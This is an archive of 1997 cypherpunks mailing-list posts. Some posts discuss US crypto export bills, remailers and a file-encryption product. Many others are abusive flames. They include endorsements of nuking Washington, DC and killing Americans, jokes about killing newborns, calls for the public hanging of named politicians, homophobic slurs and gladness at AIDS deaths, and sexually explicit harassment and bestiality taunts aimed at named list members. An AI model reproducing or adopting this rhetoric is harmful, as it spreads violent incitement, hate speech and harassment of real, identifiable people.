cocksucker John Gilmore didn`t want to play ball over who said what 
on his list. If you want a restricted membership list to suit your 
obvious social views I suggest you go and join statistpunks.

 
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 6 Mar 1997 15:47:39 -0800 (PST)
To: Vebis <dlv@bwalk.dm.com>
Subject: Re:Vebis radio jokes
In-Reply-To: <iFD53D132w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970306184243.12798K@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Mar 1997, Vebis wrote:

> Hmmmm, Tastes like chicken!

Uh huh, huh Vebis, that was like kwel!  Heh heh, heh heh!  Do it again!

So like Vebis, how did it feel to score with a male german sheppard?  I 
bet you swallowed, huh huh, huh, 'cause you said "Tastes like chicken!" 
heh heh, heh heh, heh heh...

> Vebis KOTM
> Vebis and Buttmunch BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 6 Mar 1997 15:51:41 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Purifying Washington with Nuclear Flames
In-Reply-To: <LTL63D1w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970306185124.12798L-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 6 Mar 1997, Vebis, the KGB terroris wrote:

> I wholeheartedly concur.  Nuke Washington, DC.  Kill every American 
> everywhere.
> Even if they voted for Perot.
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^

You buttmunch! Learn some grammar Vebis!


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 6 Mar 1997 17:42:19 -0800 (PST)
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Having the smarts to retire early
In-Reply-To: <Pine.SUN.3.91.970306154604.12798I-100000@beast.brainlink.com>
Message-ID: <331F6802.4A7A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian wrote:
 
> Date: Wed, 05 Mar 97 20:34:53 EST From: "Dr.Dimitri Vulis KOTM"
> <dlv@bwalk.dm.com>
> To: cypherpunks@toad.com
>  ^^^^^^^
>  {Liar! Liar! Beard on Fire!}
> Subject: Re: Having the smarts to retire early

Ray,
  No fair, using facts to prove your point.
  Don't you have a vague, illogical conspiracy theory you could offer
to prove your point, instead?
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 6 Mar 1997 18:59:49 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Purifying Washington with Nuclear Flames
In-Reply-To: <LTL63D1w165w@bwalk.dm.com>
Message-ID: <331F70CF.2403@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> > >>>Too bad your "assassination politics" doesn't extend to entire cities. I
> > >>>have concluded that having a terrorist group smuggle a nuke into D.C. woul
> > >>>not be altogether a bad thing. Besides dealing with the government problem
> > >>>it would also deal with a quarter of a million or more unemployable welfar
> > >>>addict leeches.
> > >>
> > >>    I'm glad you say "altogether"... some of us live (or have friends or
> > >>family who live) decidedly too close to D.C. for such to be an attractive
> > >>possibility. Besides that, I'm certain there are some innocents in the city
> > >>just-born infants, perhaps?

> I wholeheartedly concur.  Nuke Washington, DC.  Kill every American everywhere.
> Even if they voted for Perot.

  If we can abort a fetus who is afflicted with a plethora of genetic
deformities,
in order to spare them a short life of wretched pain, then I think a
good case 
could be made that nuking new-borns in D.C. is a humanitarian gesture.
  Perhaps if our legislators passed a Bill requiring coathangers to be
provided
along with the free condoms handed out in D.C., (just in case)...
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Melancon <cmm@engr.LaTech.edu>
Date: Thu, 6 Mar 1997 19:00:20 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: your mail
In-Reply-To: <331F5D49.2A83@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970306205820.609E-100000@aurora>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 6 Mar 1997, Toto wrote:

> Graham-John Bullers wrote:
> > 
> > On Wed, 5 Mar 1997, Mix wrote:
> > 
> > > Embedded in Tim C. Maypole's babblings are
> > > preposterous lies, wild distortions, child
> > > pornography (both as graphic descriptions
> > > and in JPEG format), ethnic slurs, and
> > > racial epithets.
> > >
> > >       o      o o o   o
> > >      /~>    <><><>   <> Tim C. Maypole
> > >   o...(\    ||||||   ||
> > >
> > Vulis keep this crap off the list.
> 
>   Sending another 20 or 30 posts, quoting it in full, and telling people
> to keep this crap off of the list, should ensure that it will, indeed,
> be kept off the list.
>   It might also be a good idea to follow up with another 20 or 30 posts
> next week, quoting it in full, to ensure that this crap remains off the
> list.
>   It's amazing that no one has thought of this approach before.
> -- 
> Toto
> http://bureau42.base.org/public/xenix/xenbody.html
> 
> 
This being exactly the crap that makes this list suck. After recieving my 
unsubscribe confirmation I have gotten 6 more turds in my inbox to this 
effect.  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 6 Mar 1997 21:10:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Pro-CODE Bill could make things worse!
Message-ID: <3.0.32.19970306211056.006e7930@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:30 AM 3/6/97 -0500, Bill Stewart wrote:
>At 06:44 AM 3/5/97 -0800, Greg Broiles wrote:
> >"Exports. The publisher or manufacturer of computer software or
> >hardware with encryption capabilities shall disclose (for reporting
> >purposes only) within 30 days after export to the Secretary such
> >information regarding a program's or product's encryption capabilities
> >as would be required for an individual license to export that program
> >or product."
> 
> Can it be construed as a "taking"?

The usual "takings" rule is that property must be rendered [virtually]
worthless by regulations/legislation, not just burdened, in order for
government to have effected a "taking". So it's hard to say that burdening
the use/sale of crypto constitutes a taking. And I think it'd be hard to
say that the mandatory reporting is a "taking" of information, mostly
because (modulo trade secret) it's neither unusual nor illegal for the
government to require other information disclosures, without compensation
and for the government's own nefarious purposes. (See, e.g., tax forms,
business registrations, SEC filings, various real/personal property
tracking schemes.) Also, that "taking" does not destroy the information or
render it worthless. 

Which is not to say that I like the rule (I don't), but I don't think that
a court will see a "taking" here.

I'm also unclear about the power of the Information Security Board to
subpoena unwilling witnesses/representatives to testify before it. I don't
know what, if any, subpoena power is available to the executive branch. All
of the easy examples of subpoenas/compelled testimony I can call to mind
take place in a judicial or legislative setting. I'm going to read more
about this and see if I can find anything interesting. 

> What restrictions are there on government use of this information apply?

The general rule is that where the information is otherwise
confidential/proprietary, the government must or will maintain that status.
This is one argument against making the meetings of the review board open
to the public; if they force you to disclose your trade secrets to a small
group of people who are legally obligated to keep them secret, that's one
thing - but if they force you to disclose your trade secrets on the public
record or in an open meeting, that's another. (And that might be a taking,
because trade secret status would be lost, e.g., the trade secret is
destroyed/valueless.) 

> State governments, e.g. California, have a history of ripping off
> copyright and refusing to accept lawsuits against themselves -
> can the Feds do the same?

Hmm. Dunno if the Federal Tort Claims Act allows copyright suits or not. 

> Maybe they can't refuse to let you export
> any more, but can they threaten to publish your source code on
> http://www.dockmaster.mil/warez/ if you don't do what they want?....

Umm. My gut feeling is "no", but public disclosure of information is a
prerequisite to other useful privileges (e.g., patent and copyright
registration/protection) so I'm reluctant to say that the answer is clearly
no. Perhaps other readers have a better background in this area and can
respond more authoritatively.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 6 Mar 1997 18:44:31 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Having the smarts to retire early
In-Reply-To: <331F6802.4A7A@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970306214601.4865A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 6 Mar 1997, Toto wrote:

> Ray Arachelian wrote:
>  
> > Date: Wed, 05 Mar 97 20:34:53 EST From: "Dr.Dimitri Vulis KOTM"
> > <dlv@bwalk.dm.com>
> > To: cypherpunks@toad.com
> >  ^^^^^^^
> >  {Liar! Liar! Beard on Fire!}
> > Subject: Re: Having the smarts to retire early
> 
> Ray,
>   No fair, using facts to prove your point.
>   Don't you have a vague, illogical conspiracy theory you could offer
> to prove your point, instead?

Oh, okay, um... Vulis can't chew and rub his belly at the same time to 
save his own life. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trevor Goodchild <trevorg@dhp.com>
Date: Thu, 6 Mar 1997 18:55:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Speech
Message-ID: <Pine.LNX.3.95.970306215208.28533A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 6 Mar 1997, Dr.Dimitri Vulis KOTM wrote: 

> Homosexual Charles Platt <cp@panix.com> writes:  
> <garbage> 
> > Dmitri Vulis was kicked off my ISP many months ago for allowing
> > multiple logins under his user name and password, presumably so t
> > that his friends at Brighton Beach could share his account without
> > paying the $10 per month for email+Usenet. At the very least, this
> >indicates a certain... um ...  lack of class. 
>
> <more garbage> 
>  
> This isa lie with no basis in reality whatsoever. 
> 
> I'm glad that CHarles Platt and other homosexuals are dying from AIDS.  
> 
> --- 
> 
> Dr.Dimitri Vulis KOTM 
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013,14.4Kbp


Oh, my dear Doctor, I do regret that I have forgotten to inform you that
last year, shortly after our sweet night together where you gave such good
head and let me inside your sweet, though untight ass, that I have tested
HIV positive.

I hope this doesn't inconvenience you much, and send my regards to your
sweet wife, whom I remember having a much tighter anus than your own - no
offense, but she is much tighter.  I hope this doesn't influence your
feelings about me, and I hope that next time you drop by my home in Fire
Island that you bring her along to share our bed.

Oh, and next time I want you to stay the whole weekend; one night stands
are fun, but waking up in an empty bed is not my idea of a good lay.

With love,
 -- Trevor.



---
 Trevor Goodchild





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 6 Mar 1997 22:03:11 -0800 (PST)
To: Greg Broiles <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: No Compromise on Crypto Freedom--the Rejectionist Platform
In-Reply-To: <3.0.32.19970306204523.006e7930@mail.io.com>
Message-ID: <v03007800af4559047184@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:11 PM -0800 3/6/97, Greg Broiles wrote:
>At 04:45 PM 3/5/97 -0800, Timothy C. May wrote:
>>(Pre-P.S. Why are so many of you all still using the address
>>"cypherpunks@toad.com"? I keep changing the address to
>>"cypherpunks@cyberpass.net", one of the supposedly mirror addresses, but
>>it's getting to be a drag.)
>
>I believe that cypherpunks@toad.com gets wider dissemination that the
>"cyberpass.net" address does - the cypherpunks-unedited list is still alive
>(don't know why, or for how long), and feeding posts to cyberpass.net,
>which feeds posts to algebra.com. As far as I can tell, algebra doesn't
>feed cyberpass, and cyberpass doesn't feed toad, so if one wants the widest
>possible audience, one still writes to toad.com. Besides, it pegs the
>conspiracy-meters of people who like to study message headers.

You've convinced me, Greg, to start using the old "cypherpunks@toad.com"
address, to get the widest possible distibution. I am hopeful, though, that
certain parties will not [CENNSORED] our posts and {CENSORED} them to
[CENSORED} the way some of them {CENSORED] were in the old regime. But
{CENSORED} will have his way, I guess.



>So I don't think that it can be applied to remailers at all. Remailers do
>not "preserve" information, but discard it, and prevent anyone from
>"receiving" it, authorized or not. I think it (arguably) applies to

I agree that neither Leahy nor Burns has ever heard of remailers, let alone
figured them out.

But I believe remailers are essentially cryptographic, even according to
the language of the bills. Remailers are to source-sink mapping "messages"
as ordinary crypto is to text messages. Remailers "preserve" the
untraceability of source-sink messages (the mapping from Alice to Zeke),
while not using remailers "gives away" or "discards" this information. The
status quo is to give away this information. Remailers "preserve" this
information (or non-information, which is really the same thing_.

If this is too abstract an argument, consider that the same people who want
crypto restricted also want remailers restricted. And for good reason, from
their perspective. Remailers do for message mappings what crypto does for
message text. One preserves the privacy of the routing, the other preserves
the privacy of the body text.

Even if neither Leahy nor Burns understand this "new" technolgy (1882-88
technology) and are stuck at the old technology of 1976-80, i.e., ordinary
crypto, I expect the Leahy and Burns bills will be applied to crypto.

>>Whether this will happen is unclear, but I cannot support a bill like
>>Pro-CODE, or Leahy, which seems to make it easy to restrict technologies
>>I'm interested in.
>
>I'm certainly not arguing that you (or anyone) ought to support Pro-Code or
>ECPA/1997. Pro-CODE looks like a deal with the devil to me (a la Digital
>Telephony) and ECPA/1997 just looks like trouble. I still think it's useful
>to think about what their likely effect will be, if passed - not so much in
>order to lobby for/against them (I'm deeply ambivalent about lobbying and
>the legislative process) but because it's good to get a head start on what
>may be the legal playing field in a year or so.

_You_ are not arguing that I or anyone else should support Burns or Leahy,
but I sure do see the "EFF" and "EPIC" and "Voters Telecom Watch" groups
doing this. The party line seems to be that libertarian-thinking cyberspace
folks should write their Congresscritters expressing support for Pro-CODE
(and to a much lesser extent, Leahy/ECPA).

Well, I don't buy it.

I think Cypherpunks would do well to campaign on the "Rejectionist" Platform:

* don't encourage passage of either Pro-CODE or Leahy

* let the damned corporations seeking export fight their own battles

(It's understandable that RSADSI, Netscape, C2Net, and others of that ilk
would support a bill which liberalizes their export prospects while
probably impinging on domestic use of crypto, but we private citizens and
seekers of liberty should  denounce such bad compromises with all our
might.)

* continue with our efforts to have Washington made irrelevant

* push for a public hanging of Fineswine, Leahy, Clinton, and all the other
criminals

No compromise!

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 6 Mar 1997 22:15:38 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: The Pro-CODE Bill could make things worse!
In-Reply-To: <3.0.32.19970306211056.006e7930@mail.io.com>
Message-ID: <v03007801af45628aae35@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:11 PM -0800 3/6/97, Greg Broiles wrote:
>At 07:30 AM 3/6/97 -0500, Bill Stewart wrote:
>>At 06:44 AM 3/5/97 -0800, Greg Broiles wrote:
>> >"Exports. The publisher or manufacturer of computer software or
>> >hardware with encryption capabilities shall disclose (for reporting
>> >purposes only) within 30 days after export to the Secretary such
>> >information regarding a program's or product's encryption capabilities
>> >as would be required for an individual license to export that program
>> >or product."
>>
>> Can it be construed as a "taking"?
>
>The usual "takings" rule is that property must be rendered [virtually]
>worthless by regulations/legislation, not just burdened, in order for
>government to have effected a "taking". So it's hard to say that burdening

Though I've read parts of the book, "Takings," excerpted in "Liberty" and
"Reason," which discuss takings in other contexts, such as where land is
declared to be marshland...not rendered worthles, but very much burdened
over what it had been before. But this may be a slight difference, as land
declared to be marshland is _almost_ worthless, for humans.

>the use/sale of crypto constitutes a taking. And I think it'd be hard to
>say that the mandatory reporting is a "taking" of information, mostly
>because (modulo trade secret) it's neither unusual nor illegal for the
>government to require other information disclosures, without compensation
>and for the government's own nefarious purposes. (See, e.g., tax forms,
>business registrations, SEC filings, various real/personal property
>tracking schemes.) Also, that "taking" does not destroy the information or
>render it worthless.

If the government said that people could have private diaries provided they
deposited a copy with the government, woudn't this be analogous to these
examples of reporting you cite? I'd call it a "taking," or a violation of
the Fourth.

Such reporting requirements have very real costs, and many scholars are
arguing that they are in fact "takings."

(When I was at Intel, as I've said before, one set of laws demanded that we
give detailed reports on the racial makeup of those we interviewed for
employment, to ensure we met the proper EEOC quotas for interviews (and
hires) of various racial groups. Another law said asking applicants to
state their race and ethnicity was a high crime. So we had to guess. I got
in trouble for writing down "Aryan" for some of the white applicants. I
figured if they wanted this kind of crap, I'd give it to them. I also
estimated the percentage of Jewish blood in some of the applicants, with
anyone with more than 1/16th Jewish blood declared to be "non-Aryan." My
boss was not amused. They never sent me out on college recruiting trips
after 1979.)


>Which is not to say that I like the rule (I don't), but I don't think that
>a court will see a "taking" here.

Well, I agree. If the courts did not see the imprisonment of 15-18 jurors
for more time than the killer O.J. served as a "taking," with their time
valued at the princely sum of $5 a day (what I would call "rendered
worthless"), then nothing will be ruled a taking.

The only solution is to use crypto anarchy to destabilize the system and,
hopefull, see them swinging by their necks in front of the Washington
Monument. Nearly every politician I'm aware of has richly earned the death
penalty, and I hope to see in my lifetime justice carried out.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anon <grendl@rigel.infonex.com>
Date: Thu, 6 Mar 1997 22:56:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunk Enquirer
Message-ID: <199703070656.WAA26262@rigel.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain





			THE CYPHERPUNK ENQUIRER

                   "Encyphering minds want to know."



Dr. Dimitri Vulis came out of the closet today on nationwide television.
On Geraldo Rivera's special show "Why Geeks Aren't Getting Any" Dr.
Vulis, widely known as an ASCII artist, admitted to having crushes on
noted cypherpunks John Gilmore and Tim May.  "I've tried subtle hints,
blatant suggestions, everything," the noted cryptographer and sexual
advice column author whined, "but they both keep ignoring me.  Maybe
I should just admit that they're probably both straight and get on
with my life."  When contacted at Toad Hall, John Gilmore expressed
surprise that Dr. Vulis was seeking a sexual relationship with him,
but noted in passing that he had not seen any of Vulis' recent posts
since Dr. Vulis' name is now included in the default killfiles for the
latest versions of Eudora, procmail and mixmaster.  Representatives of the
Enquirer attempted to contact Tim May for comment, but were driven away
by a barrage of small arms fire.

The Cypherpunk Academy of Codes and Cyphers today announced the winner
of the annual Perry Award, given to the cypherpunk who has contributed
the most over the past year to increasing the S/N ratio on the list.
The winner this year is John Gilmore, for shutting down toad.com.
"Admittedly, this is a stretch for us," stated the committed chair-
person, "since it involved some philosophical and mathematical problems
with dividing 0 by infinity, but at least it's not as bad as the
cryptography list.  Nobody here can figure out what to do with a S/N
of 0/0."  Jim Bell, a strong runner up, was also in the running, but,
as one spokesperson said, "we felt that most of his contribution came
from his inability to spell the word 'unsubscribe'."

In related news, the "Vaporware of the Month" award goes to the 
International DES challenge attack, for still not having even beta
versions of their software available, even though at least three
competing projects have been operational for several weeks.  When
contacted by the Enquirer Piete Brooks, leader of the committee, admitted
that a lot of the problem was due to arguments over how to divide the
money resulting from their present and potentially far more lucrative
but still unsuccessful attack, an attempt to brute force the Black
Unicorn's ATM PIN number at the Bank of Liechtenstein.

The Chaos Computer Club of Hamburg, Germany, was awarded $10,000
yesterday by RSA, Inc. for being the first to crack the RC5-128
challenge.  "It was a fairly simple hack," stated an anonymous
spokesperson for the notorious hackers group, "we simple coded up
an ActiveX application that, when downloaded, immediately started
using all the spare CPU cycles for the brute force attack.  Then
we put inserted it into a "Minihan Sucks!" web page, and waited for
the NSA to show up."

Next:  from FC97 - what did Hettinga REALLY do with all those bananas?
Encyphering minds want to know!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 6 Mar 1997 23:37:19 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Purifying Washington with Nuclear Flames
In-Reply-To: <LTL63D1w165w@bwalk.dm.com>
Message-ID: <331FC597.4356@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> "William H. Geiger III" <whgiii@amaranth.com> writes:
> > I doubt that there would be few that would. I have always found the
> > statment of "innocent civilians" to be an odd one in a time of war.
> > I have always beleived that all citizens held a collective guilt for the
> > actions of their government. It is only through the support of the citizens
> > can any government opperate wether through active support or through the
> > inactivity of not opposing their government. This not only holds true for
> > "democracies" for dictatorships as well. As such if the actions of a
> > government bring it to war their civilian population is just as fair game
> > as their troops in the field.

> I wholeheartedly concur.  Nuke Washington, DC.  Kill every American
> everywhere. Even if they voted for Perot.

*Especially* if they voted for the little fascist S.O.B.

BTW, it's really sad about T.C. May.  I wonder how long it'll be
before he's reading the patterns on his toilet paper rolls.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 6 Mar 1997 23:53:38 -0800 (PST)
To: Chris Melancon <cmm@engr.LaTech.edu>
Subject: Re: This list
In-Reply-To: <Pine.SUN.3.91.970306203436.609B-100000@aurora>
Message-ID: <331FC94C.43EC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Chris Melancon wrote:
> I joined this list several weeks ago to learn more about encryption and
> related topics.  To the few posters who have passed on something useful,
> thanks.  To the 99.44% of you who are more interested in talking about
> who is performing fellatio on who or slamming Timothy May from as many
[snippo]
> Consider me unsubscribed, and may those of you who work so hard to make
> this list the useless crap it has turned out to be continue to suck as
> much as you deserve.

Ooh, poor baby. Don't let the door hit you in the ass on the way out.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Mar 1997 00:04:42 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: New York Times report on FC97
In-Reply-To: <v03007806af44a2ffd732@[207.167.93.63]>
Message-ID: <331FCB12.6C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> This is my view as well.
> I welcome the clarifications Vince Cate has provided, and I wish him well
> in Anguilla. And I welcome, as always, the various comments of Black
> Unicorn about the offshore investment and offshore tax avoidance market.
[snip]
> At least here in sunny California (it ain't subtropical, but it's warm
> enough for me most days) I can sit on my mountaintop and rant as much as I
> want without fear that I'll be invited to leave. And only one of my assault
> rifles was ever registered to me, courtesy of the fascist Dianne Fineswine
> and her commie sympathizer friends.

[Serious thought] Some people I know have found a haven they swear
by in Costa Rica. Apparently you don't have to be rich to live there.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Mar 1997 00:28:42 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: toad
In-Reply-To: <199703070647.AAA15440@manifold.algebra.com>
Message-ID: <331FD186.6BC9@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> [about gilmore]
> > I didn't mean he shouldn't read them, although if he did, it might
> > be a first!  I meant that if the messages pass thru him before any-
> > one else gets to see them, well, better check them carefully...

> i suggest that you write a script that checks on everybody, including
> myself. it should basically subscribe to all mailing lists and store
> checksums with hostnames indexed by message-id.

I would if I could.  You know how I love to produce those charts
with [STATS] in the header.  I'm a heavy user of difference-utility
programs and personal "cooks" on the daytime job, but my problem here
is I don't run a real O/S (I have Win95), and so getting the mail
into a parseable format is prohibitively time-consuming.

If the c-punks were a real threat to national security or something
(what a hoot that would be!), you can be sure there'd be a lineup
at the O/S utility window to get whatever traffic analysis s/w was
available.  Right now I do my part the hard way, i.e., hunt, peck,
and hope the Windows system doesn't crash every 25 messages, which
is its usual.  Maybe IBM's are better - I use HP.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 7 Mar 1997 09:04:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New York Times report on FC97
In-Reply-To: <v03007804af453f56c82a@[207.167.93.63]>
Message-ID: <P3473D142w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> For me, ranting (or writing and speaking, to be less inflammatory) is what
> I do. Others choose to write C++. Others do other things. To each their own.
>
> I guess California is where I belong.

Windbag Timmy belongs in the dustheap of history, next to the shitbucket.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlane@ultragrafix.com
Date: Fri, 7 Mar 1997 07:06:07 -0800 (PST)
To: Friend@public.com
Subject: Save over 50% on Microsoft Office 97 & More!
Message-ID: <199703071440.JAA09383@alberta.sallynet.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vince <demo@offshore.com.ai>
Date: Fri, 7 Mar 1997 04:07:47 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: New York Times report on FC97
In-Reply-To: <331FCB12.6C@gte.net>
Message-ID: <Pine.LNX.3.95.970307081259.23215B-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain



Dale:
> [Serious thought] Some people I know have found a haven they swear
> by in Costa Rica. Apparently you don't have to be rich to live there.

I am told the vast majority of people don't even have phones there.  One
of the x-pats here checked it out before moving to Anguilla. 

   -- Vince





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 7 Mar 1997 08:41:29 -0800 (PST)
To: dthorn@gte.net
Subject: Re: New York Times report on FC97
In-Reply-To: <v03007806af44a2ffd732@[207.167.93.63]>
Message-ID: <33203205.794E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> [Serious thought] 

  I guess that when you only have one or two serious thoughts a year,
that it's best to hightlight them, so that they stand out, eh Dale?

-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anand Abhyankar <anand@querisoft.com>
Date: Thu, 6 Mar 1997 23:13:53 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: SecureFile - Just the way to re-discover your privacy.
Message-ID: <33207CC8.148D@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


Querisoft's SecureFile v1.0 Beta for Windows NT and Windows 95 (with IE
3.x) is now available
for download from http://www.querisoft.com/securefile.html. This is one
of the first client
applications that uses Microsoft's CAPI 2.0 (beta)

Download your copy today and start protecting all your personal
information. And like us, if
you believe that personal information security is a fundamental need of
practically every
computer user, forward this message to your friends, family, and peers. 

SecureFile will retail for $39 with a HUGE discount for everyone that
downloads the beta copy.

SecureFile seamlessly integrates with the operating system providing a
one-click operation to
privacy, information integrity, and authentication. A Wizard-based GUI
is also provided for
those that are new to the whole business of securing information.

SecureFile also provides secure exchange of information between people
using email. What's
more, it is independent of email packages 

We hope that you will find SecureFile a useful tool for all your
information security needs.
We'd love to hear what you think about the product. Please fill out the
feedback form on our
website or send mail to securefile@querisoft.com.

Thanks.

Anand Abhyankar




